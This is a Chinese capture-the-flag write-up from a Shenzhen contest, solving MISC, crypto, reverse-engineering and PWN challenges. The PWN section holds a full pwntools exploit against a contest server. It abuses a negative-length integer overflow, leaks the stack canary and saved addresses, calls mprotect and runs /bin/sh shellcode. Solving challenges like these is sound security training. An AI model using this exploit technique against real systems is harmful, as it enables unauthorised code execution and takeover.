网安中国行—深圳站

MISC1:
题目的下载文件是一个公众号的二维码,关注公众号回复之后得到图片


图片.png

base64加密,直接丢进去在线解密,发现乱码,再看一下图片,前面是字母NOTHIS,去掉NOTHIS,在解密一次,得到flag

MISC2:
kail下的strings sloth.jpg之后出现字符串:

图片.png

最下面有一个ROT13的提示,对那串字符串进行解密后得到一串字符,键盘密码解得flag

图片.png

CRYPTO:
脚本加密,直接脚本解密

import random
from struct import pack
from struct import unpack
from numpy import *

def Str2matrix(s):
    return [map(lambda x : ord(x), list(s[i:i+4])) for i in xrange(0, len(s), 4)]

def DecStr2matrix(s):
    matrix = []
    row = []
    rowcount = 0
    for i in xrange(0, len(s), 2):
        item = int(s[i:i+2].encode("hex"),16)
        row.append(item)
        rowcount += 1
        if rowcount==4:
            rowcount=0
            matrix.append(row)
            row=[]
    return matrix

def Matrix2str(m):
    return ''.join(map(lambda x : ''.join(map(lambda y : pack('!H', y), x)), m))

def DecMatrix2str(m):
    return ''.join(map(lambda x : ''.join(map(lambda y : pack('!B', y), x)), m))

def Generate(password):
    random.seed(password)
    return [[random.randint(0,64) for i in xrange(4)] for j in xrange(4)]

def Multiply(A,B):
    C = [[0 for i in xrange(4)] for j in xrange(4)]
    for i in xrange(4):
        for j in xrange(4):
            for k in xrange(4):
                C[i][j] += A[i][k] * B[k][j]
    return C

def Encrypt(fname,mkey):
    key = Generate(5)
    data = open(fname, 'rb').read()
    length = pack('!I', len(data))
    while len(data) % 16 != 0:
        data += '\x00'
    out = open(fname + '.out', 'wb')
    out.write(length)
    for i in xrange(0, len(data), 16):
        cipher = Multiply(Str2matrix(data[i:i+16]), key)
        mclear = matrix(Str2matrix(data[i:i+16]))
        mcipher = matrix(cipher)
        mcipher = mclear*mkey
        out.write(Matrix2str(cipher))
    out.close()
    return cipher

def Decrypt(fname,key):
    data = open(fname, 'rb').read()
    length = int(unpack('!I', data[0:4])[0])
    data = data[4:]
    out = open(fname + '.orig', 'wb')
    for i in xrange(0, len(data), 32):
        mdata = DecStr2matrix(data[i:i+32])
        clear = matrix(mdata)*key.I
        m = clear.round().tolist()
        m = [[int(item) for item in row] for row in m]
        out.write(DecMatrix2str(m))
    out.close()
    return clear

def ExtractKey(fname, clearstring):
    data = open(fname, 'rb').read()
    cipher = data[4:36]
    clear = clearstring.decode("hex")
    mclear = matrix(Str2matrix(clear))
    mcipher = matrix(DecStr2matrix(cipher))
    mkey = mclear.I*mcipher
    return mkey

#Encrypt('flag.wmv')
ourkey = matrix(Generate(5))
print"[+] Extract key"
key = ExtractKey("secret.wmv.enc", "3026b2758e66cf11a6d900aa0062ce6c")
print("[+] Key:\n{0}".format(key))
print"[+] Decrypt video"
clear = Decrypt("secret.wmv.enc",key)
图片.png

PWN:
这道是在网上有原题的,典型的整数溢出。先运行一下,并查看一下这个文件的具体信息

图片.png
图片.png

32位IDA查看之后,可以发现这里有2个错误:第一个是长度比较被签名:
.text:080488AA 7E 07 jle short LEN_OK_80488B3
通过给出一个负长度,我们可以溢出堆栈缓冲区。第二个bug是getnline()。当输入填充缓冲区时,不添加NULL字节。因此,可以使用printf()获取非NULL终止字符串和泄漏信息。我们可以通过泄露堆栈地址来绕过阴影堆栈,从而劫持地址指针。因为有mprotect(),所以我们可以重用它们来使堆栈执行。在我们这样做之后,我们可以返回到那里的地址并执行我们的shellcode。
脚本:

from pwn import *
from time import *
debug = True
local = False
x86 = True
script = open('./shadow.gdb','a+')
elf = ELF('shadow')
if debug:
     context.log_level = 'debug'
else:
     context.log_level = 'info'
if local:
     if x86 == False:
          libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
     else:
          libc = ELF('/lib32/libc.so.6')
     p = process('./shadow')
else:
     if x86 == False:
          libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
     else:
          libc = ELF('/lib32/libc.so.6')
     p = remote('118.190.132.201',4545)

def attack():
     p.recvuntil('Input name : ')
     #
     p.sendline('b'*0x4)
     p.recvuntil('Message length : ')
     p.sendline(str(-2))
     p.recvuntil('Input message : ')
     p.send('a'*0x21)
     p.recvuntil('a'*0x21)
     canary = u32('\x00'+p.recv(3))
     log.info('Canary: '+hex(canary))
     p.recvuntil('Change name? (y/n) : ')
     p.sendline('n')
     p.recvuntil('Message length : ')
     p.sendline('-2')
     p.recvuntil('Input message : ')
     payload = 'a'*0x2c

     p.send(payload)
     p.recvuntil('a'*0x2c)
     saved_ebp = u32(p.recv(4))
     saved_eip = u32(p.recv(4))
     some_buf = u32(p.recv(4))
     log.info('Saved_ebp '+hex(saved_ebp))
     log.info('Saved_eip '+hex(saved_eip))
     log.info('Some_buf '+hex(some_buf))

     p.recvuntil('Change name? (y/n) : ')
     p.sendline('n')
     p.recvuntil('Message length : ')
     p.sendline('-2')

     p.recvuntil('Input message : ')
     payload = 'a'*0x20
     payload+= p32(0xdeadbeef)
     payload+= p32(0x42424242)
     payload+= p32(saved_ebp)
     payload+= p32(0x43434343)
     payload+= p32(0x44444444)
     payload+= p32(saved_ebp-0x100)
     payload+= p32(0x100)
     payload+= p32(0x500)
     p.sendline(payload)

     p.recvuntil('a'*0x20)

     p.recvuntil('Input name : ')
     sc = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
     payload = p32(elf.plt['mprotect'])
     payload+= p32(saved_ebp-0xe8)
     payload+= p32(saved_ebp&0xfffff000) #addr
     payload+= p32(0x1000) #len
     payload+= p32(0x7) #prot
     payload+= '\x90' * 0x50
     payload+= sc
     p.sendline(payload)
     p.interactive()

attack()

REVERSE:

indexs = [0x1a,0x2b,0x38,0x69,0x15]
vals = [-0xc,7,0x10,-0x11,-0x5]
flag = 'flag{Cra0L_Me_OkQAQ}'
print len(flag)
st = ''
for i in range(5):
    st += chr(indexs[i]^0x59)
for i in range(5):
    print flag[i+5]
    flag += chr(ord(flag[i+5])-vals[i])
print flag

前五个字符for i in range(5):st += chr(indexs[i]^0x59)计算出来的,中间的Me看了很久,最后是爆破才弄出来,而计算后面五个字符的时候,有一个小坑,应该是要去看esi的,这里通过前五个输入字符-差值,0xfffffff4对应的是-0xc

图片.png
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 195,980评论 5 462
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 82,422评论 2 373
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 143,130评论 0 325
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,553评论 1 267
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 61,408评论 5 358
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,326评论 1 273
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,720评论 3 386
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,373评论 0 254
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,678评论 1 294
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,722评论 2 312
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,486评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,335评论 3 313
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,738评论 3 299
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,009评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,283评论 1 251
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,692评论 2 342
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,893评论 2 335

推荐阅读更多精彩内容